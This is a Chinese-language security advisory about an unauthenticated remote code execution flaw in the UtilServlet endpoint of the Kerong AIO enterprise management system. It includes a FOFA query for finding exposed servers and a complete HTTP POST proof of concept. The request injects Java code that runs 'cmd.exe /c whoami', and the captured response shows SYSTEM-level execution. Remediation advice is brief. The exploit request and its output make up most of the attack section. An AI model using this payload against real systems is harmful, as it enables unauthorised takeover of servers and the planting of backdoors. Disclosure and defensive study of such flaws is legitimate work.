

关于科荣 AIO 管理系统RCE漏洞预警

漏洞描述

科荣AIO 企业一体化管理解决方案 通过ERPERP（进销存财务）、OAOA（办公自动化）、CRMCRM（客户关系管理）、UDPU DP（自定义平台），集电子商务平台、支付平台、ERP 平台、微信平台、移动APP 等解决了众多企业客户在管理过程中跨部门、多功能、需求多变等通用及个性化的问题。AIO UtilServlet 接口处存远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞远程执行恶意代码，写入后门文件，可获取服务器权限。

影响范围

科荣 AIO 管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: body="changeAccount('8000')"

POC/EXP:

POST /UtilServlet HTTP/1.1

Host: 127.0.0.1:8000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded
Content-Length: 326

operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami")).getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field

Request

PrettyRawHex

1

POST /UtilServlet HTTP/1.1

2

Host: 8000

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6

Accept-Encoding: gzip, deflate

7

Connection: close

8

Upgrade-Insecure-Requests: 1

9

Pragma: no-cache

10

Cache-Control: no-cache

11

Content-Type: application/x-www-form-urlencoded

12

Content-Length: 326

13

operation=calculate&value=

14

BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami")).getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field

15

16

Response

PrettyRawHexRender

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Set-Cookie: JSESSIONID=47F7F5969AA848EF363B227DFBB43984; Path=/; HttpOnly

4

Content-Type: text/html; charset=utf-8

5

Vary: Accept-Encoding

6

Date: Thu, 18 Jan 2024 08:13:56 GMT

7

Connection: close

8

Content-Length: 19

9

10

nt authority\system

修复方案

官方修复：

关闭互联网暴露面或接口设置访问权限

升级至安全版本

关注官方发布的最新修复建议。